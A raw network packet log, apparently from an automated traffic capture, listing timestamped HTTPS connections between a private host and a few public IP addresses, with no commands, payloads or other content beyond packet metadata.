Nov 18, 2024 02:34:17.453687906 CET	443	49728	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:17.455454111 CET	49733	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:17.455482006 CET	443	49733	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:17.455575943 CET	49733	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:17.456665039 CET	49734	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:17.456758022 CET	443	49734	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:17.456840992 CET	49734	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:17.456922054 CET	49733	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:17.456933975 CET	443	49733	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:17.457442045 CET	49734	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:17.457480907 CET	443	49734	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:17.458461046 CET	49735	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:17.458472013 CET	443	49735	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:17.458633900 CET	49735	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:17.458679914 CET	49735	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:17.458684921 CET	443	49735	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:17.459408045 CET	49736	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:17.459486008 CET	443	49736	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:17.459568024 CET	49736	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:17.460230112 CET	49737	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:17.460263014 CET	443	49737	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:17.460330963 CET	49737	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:17.460427999 CET	49736	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:17.460452080 CET	49737	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:17.460463047 CET	443	49736	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:17.460467100 CET	443	49737	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:17.631844044 CET	443	49732	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:17.632056952 CET	49732	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:17.633713007 CET	49732	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:17.633719921 CET	443	49732	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:17.634344101 CET	443	49732	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:17.635687113 CET	49732	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:17.635687113 CET	49732	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:17.635730028 CET	443	49732	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:17.744462013 CET	443	49731	40.115.3.253	192.168.2.6
Nov 18, 2024 02:34:17.744687080 CET	49731	443	192.168.2.6	40.115.3.253
Nov 18, 2024 02:34:17.747266054 CET	49731	443	192.168.2.6	40.115.3.253
Nov 18, 2024 02:34:17.747284889 CET	443	49731	40.115.3.253	192.168.2.6
Nov 18, 2024 02:34:17.748104095 CET	443	49731	40.115.3.253	192.168.2.6
Nov 18, 2024 02:34:17.750227928 CET	49731	443	192.168.2.6	40.115.3.253
Nov 18, 2024 02:34:17.750303984 CET	49731	443	192.168.2.6	40.115.3.253
Nov 18, 2024 02:34:17.750318050 CET	443	49731	40.115.3.253	192.168.2.6
Nov 18, 2024 02:34:17.750462055 CET	49731	443	192.168.2.6	40.115.3.253
Nov 18, 2024 02:34:17.791327953 CET	443	49731	40.115.3.253	192.168.2.6
Nov 18, 2024 02:34:18.000485897 CET	443	49731	40.115.3.253	192.168.2.6
Nov 18, 2024 02:34:18.001290083 CET	49731	443	192.168.2.6	40.115.3.253
Nov 18, 2024 02:34:18.001316071 CET	443	49731	40.115.3.253	192.168.2.6
Nov 18, 2024 02:34:18.001355886 CET	49731	443	192.168.2.6	40.115.3.253
Nov 18, 2024 02:34:18.001435041 CET	49731	443	192.168.2.6	40.115.3.253
Nov 18, 2024 02:34:18.151379108 CET	443	49732	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:18.151607037 CET	443	49732	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:18.151750088 CET	49732	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:18.151750088 CET	49732	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:18.190510988 CET	443	49736	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:18.191116095 CET	443	49733	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:18.194180012 CET	443	49735	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:18.197645903 CET	49736	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:18.197666883 CET	443	49736	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:18.198081017 CET	49736	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:18.198092937 CET	443	49736	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:18.198744059 CET	49733	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:18.198762894 CET	443	49733	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:18.199295998 CET	49733	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:18.199305058 CET	443	49733	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:18.199666023 CET	49735	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:18.199675083 CET	443	49735	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:18.199960947 CET	443	49737	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:18.200278997 CET	49735	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:18.200285912 CET	443	49735	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:18.200531960 CET	49737	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:18.200592995 CET	443	49737	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:18.200887918 CET	49737	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:18.200902939 CET	443	49737	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:18.208688974 CET	443	49734	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:18.209088087 CET	49734	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:18.209110975 CET	443	49734	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:18.209738970 CET	49734	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:18.209743023 CET	443	49734	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:18.323913097 CET	443	49733	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:18.324098110 CET	443	49733	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:18.324158907 CET	49733	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:18.324244022 CET	443	49735	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:18.324393034 CET	443	49735	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:18.324456930 CET	49735	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:18.324531078 CET	49733	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:18.324552059 CET	443	49733	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:18.324564934 CET	49733	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:18.324579954 CET	443	49733	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:18.325994015 CET	443	49736	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:18.326066971 CET	443	49736	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:18.326142073 CET	49736	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:18.332554102 CET	49736	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:18.332554102 CET	49736	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:18.332602024 CET	443	49736	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:18.332628965 CET	443	49736	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:18.332644939 CET	443	49737	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:18.333236933 CET	443	49737	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:18.334718943 CET	49737	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:18.335984945 CET	49735	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:18.335995913 CET	443	49735	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:18.336024046 CET	49735	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:18.336030006 CET	443	49735	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:18.337424040 CET	49737	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:18.337460041 CET	443	49737	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:18.337487936 CET	49737	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:18.337505102 CET	443	49737	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:18.339804888 CET	49738	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:18.339854956 CET	443	49738	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:18.339899063 CET	443	49734	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:18.339988947 CET	49738	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:18.340039968 CET	443	49734	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:18.340104103 CET	49734	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:18.342648983 CET	49738	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:18.342680931 CET	443	49738	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:18.342741966 CET	49734	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:18.342765093 CET	443	49734	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:18.342777014 CET	49734	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:18.342782021 CET	443	49734	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:18.344620943 CET	49739	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:18.344676971 CET	443	49739	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:18.344809055 CET	49739	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:18.345092058 CET	49739	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:18.345123053 CET	443	49739	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:18.346357107 CET	49740	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:18.346405029 CET	443	49740	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:18.347075939 CET	49741	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:18.347107887 CET	443	49741	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:18.347122908 CET	49740	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:18.347162962 CET	49741	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:18.347332954 CET	49741	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:18.347345114 CET	443	49741	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:18.347851992 CET	49740	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:18.347870111 CET	443	49740	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:18.348424911 CET	49742	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:18.348434925 CET	443	49742	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:18.348710060 CET	49742	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:18.348866940 CET	49742	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:18.348880053 CET	443	49742	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:18.464997053 CET	49732	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:18.465018988 CET	443	49732	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:18.717967987 CET	49743	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:18.718060017 CET	443	49743	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:18.718147993 CET	49743	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:18.718440056 CET	49743	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:18.718472004 CET	443	49743	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:19.076792002 CET	443	49738	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:19.077574968 CET	49738	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:19.077625036 CET	443	49738	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:19.078243017 CET	49738	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:19.078259945 CET	443	49738	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:19.079469919 CET	443	49739	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:19.079848051 CET	49739	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:19.079860926 CET	443	49739	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:19.080265999 CET	49739	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:19.080271006 CET	443	49739	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:19.089845896 CET	443	49742	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:19.090174913 CET	49742	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:19.090199947 CET	443	49742	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:19.090553999 CET	49742	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:19.090559959 CET	443	49742	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:19.093251944 CET	443	49740	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:19.093638897 CET	49740	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:19.093648911 CET	443	49740	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:19.094026089 CET	49740	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:19.094032049 CET	443	49740	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:19.095956087 CET	443	49741	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:19.096272945 CET	49741	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:19.096297026 CET	443	49741	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:19.096867085 CET	49741	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:19.096874952 CET	443	49741	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:19.206816912 CET	443	49738	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:19.207077980 CET	443	49738	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:19.207164049 CET	49738	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:19.207164049 CET	49738	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:19.207221985 CET	49738	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:19.207253933 CET	443	49738	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:19.207855940 CET	443	49739	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:19.208065987 CET	443	49739	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:19.208245993 CET	49739	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:19.208532095 CET	49739	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:19.208532095 CET	49739	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:19.208579063 CET	443	49739	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:19.208607912 CET	443	49739	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:19.211462975 CET	49744	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:19.211512089 CET	443	49744	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:19.211584091 CET	49744	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:19.212613106 CET	49745	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:19.212660074 CET	443	49745	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:19.212726116 CET	49745	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:19.212896109 CET	49744	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:19.212929010 CET	443	49744	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:19.213046074 CET	49745	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:19.213077068 CET	443	49745	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:19.224591970 CET	443	49740	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:19.224755049 CET	443	49740	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:19.224827051 CET	49740	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:19.225332022 CET	49740	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:19.225354910 CET	443	49740	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:19.225367069 CET	49740	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:19.225373983 CET	443	49740	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:19.227438927 CET	443	49741	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:19.227596045 CET	443	49741	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:19.227650881 CET	49741	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:19.227679968 CET	49741	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:19.227679968 CET	49741	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:19.227693081 CET	443	49741	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:19.227709055 CET	443	49741	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:19.228169918 CET	49746	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:19.228219032 CET	443	49746	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:19.228285074 CET	49746	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:19.228472948 CET	49746	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:19.228491068 CET	443	49746	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:19.228893995 CET	443	49742	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:19.228996038 CET	443	49742	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:19.229042053 CET	49742	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:19.229065895 CET	49742	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:19.229070902 CET	443	49742	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:19.229083061 CET	49742	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:19.229087114 CET	443	49742	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:19.230299950 CET	49747	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:19.230334044 CET	443	49747	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:19.230406046 CET	49747	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:19.230525017 CET	49747	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:19.230551958 CET	443	49747	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:19.230896950 CET	49748	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:19.230917931 CET	443	49748	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:19.230967045 CET	49748	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:19.231075048 CET	49748	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:19.231091976 CET	443	49748	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:19.370673895 CET	443	49743	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:19.370877981 CET	49743	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:19.372296095 CET	49743	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:19.372328043 CET	443	49743	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:19.372690916 CET	443	49743	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:19.373825073 CET	49743	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:19.374538898 CET	49743	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:19.374576092 CET	443	49743	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:19.374711990 CET	49743	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:19.374757051 CET	443	49743	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:19.374905109 CET	49743	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:19.374938965 CET	443	49743	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:19.375097990 CET	49743	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:19.375158072 CET	443	49743	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:19.375336885 CET	49743	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:19.375391960 CET	443	49743	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:19.375582933 CET	49743	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:19.375628948 CET	443	49743	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:19.375647068 CET	49743	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:19.375679016 CET	443	49743	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:19.375787973 CET	49743	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:19.375828981 CET	443	49743	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:19.375869989 CET	49743	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:19.375957012 CET	49743	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:19.376010895 CET	49743	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:19.385044098 CET	443	49743	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:19.385315895 CET	49743	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:19.385375023 CET	443	49743	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:19.385423899 CET	49743	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:19.385459900 CET	443	49743	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:19.385545015 CET	49743	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:19.385595083 CET	443	49743	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:19.933717012 CET	443	49744	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:19.934320927 CET	49744	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:19.934345007 CET	443	49744	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:19.934761047 CET	49744	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:19.934766054 CET	443	49744	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:19.939794064 CET	443	49745	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:19.940135956 CET	49745	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:19.940159082 CET	443	49745	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:19.940664053 CET	49745	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:19.940675020 CET	443	49745	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:19.962229967 CET	443	49748	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:19.962547064 CET	49748	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:19.962573051 CET	443	49748	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:19.962930918 CET	49748	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:19.962938070 CET	443	49748	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:19.965884924 CET	443	49747	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:19.966180086 CET	49747	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:19.966216087 CET	443	49747	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:19.966552019 CET	49747	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:19.966563940 CET	443	49747	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:19.973332882 CET	443	49746	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:19.973673105 CET	49746	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:19.973687887 CET	443	49746	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:19.974069118 CET	49746	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:19.974073887 CET	443	49746	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:20.063060999 CET	443	49744	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:20.063254118 CET	443	49744	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:20.063335896 CET	49744	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:20.063337088 CET	49744	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:20.063337088 CET	49744	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:20.066066980 CET	49749	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:20.066129923 CET	443	49749	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:20.066190004 CET	49749	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:20.066350937 CET	49749	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:20.066370964 CET	443	49749	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:20.067293882 CET	443	49745	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:20.067615032 CET	443	49745	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:20.067675114 CET	49745	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:20.067735910 CET	49745	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:20.067735910 CET	49745	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:20.067770958 CET	443	49745	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:20.067797899 CET	443	49745	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:20.069987059 CET	49750	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:20.070023060 CET	443	49750	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:20.070080996 CET	49750	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:20.070210934 CET	49750	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:20.070225000 CET	443	49750	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:20.093343019 CET	443	49748	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:20.093436003 CET	443	49748	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:20.093483925 CET	49748	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:20.093555927 CET	49748	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:20.093570948 CET	443	49748	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:20.093581915 CET	49748	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:20.093589067 CET	443	49748	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:20.095491886 CET	49751	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:20.095508099 CET	443	49751	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:20.095541954 CET	443	49747	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:20.095576048 CET	49751	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:20.095688105 CET	49751	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:20.095695019 CET	443	49747	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:20.095704079 CET	443	49751	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:20.095763922 CET	49747	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:20.095799923 CET	49747	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:20.095799923 CET	49747	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:20.095818043 CET	443	49747	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:20.095843077 CET	443	49747	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:20.097501040 CET	49752	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:20.097534895 CET	443	49752	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:20.097599983 CET	49752	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:20.097702026 CET	49752	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:20.097713947 CET	443	49752	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:20.104523897 CET	443	49746	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:20.104692936 CET	443	49746	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:20.104759932 CET	49746	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:20.104811907 CET	49746	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:20.104811907 CET	49746	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:20.104841948 CET	443	49746	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:20.104865074 CET	443	49746	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:20.106612921 CET	49753	443	192.168.2.6	13.107.246.45
